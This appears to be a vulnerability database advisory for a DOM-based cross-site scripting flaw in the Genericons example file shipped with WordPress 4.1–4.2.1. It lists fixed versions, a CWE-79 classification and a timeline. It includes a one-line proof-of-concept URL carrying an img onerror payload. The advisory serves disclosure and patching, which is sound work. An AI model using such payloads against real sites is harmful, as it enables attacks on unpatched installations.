WordPress 4.1-4.2.1 - Unauthenticated Genericons Cross-Site Scripting (XSS)



Description
WordPress 4.1.5 and 4.2.2 removes the Genericons example file which came bundled with the twentyfifteen theme which is vulnerable to DOM based Cross-Site Scripting (XSS).
Proof of Concept
http://www.example.com/wp-content/themes/twentyfifteen/genericons/example.html#1<img/ src=1 onerror= alert(1)>

Affects WordPresses

fixed in version 4.2.2
fixed in version 4.2.2
fixed in version 4.1.5
fixed in version 4.1.5
fixed in version 4.1.5
fixed in version 4.1.5
fixed in version 4.1.5

References

URL https://codex.wordpress.org/Version_4.2.2

Classification

Type XSS
OWASP Top 10 A7: Cross-Site Scripting (XSS)
CWE CWE-79

Miscellaneous

Submitter pvdl
Views 9115
Verified No
WPVDB ID 7979

Timeline

Publicly Published 2015-05-05 (over 4 years ago)
Added 2015-05-11 (over 4 years ago)
Last Updated 2018-08-29 (12 months ago)

Our Other Services

Online WordPress Vulnerability Scanner WPScan WordPress Security Plugin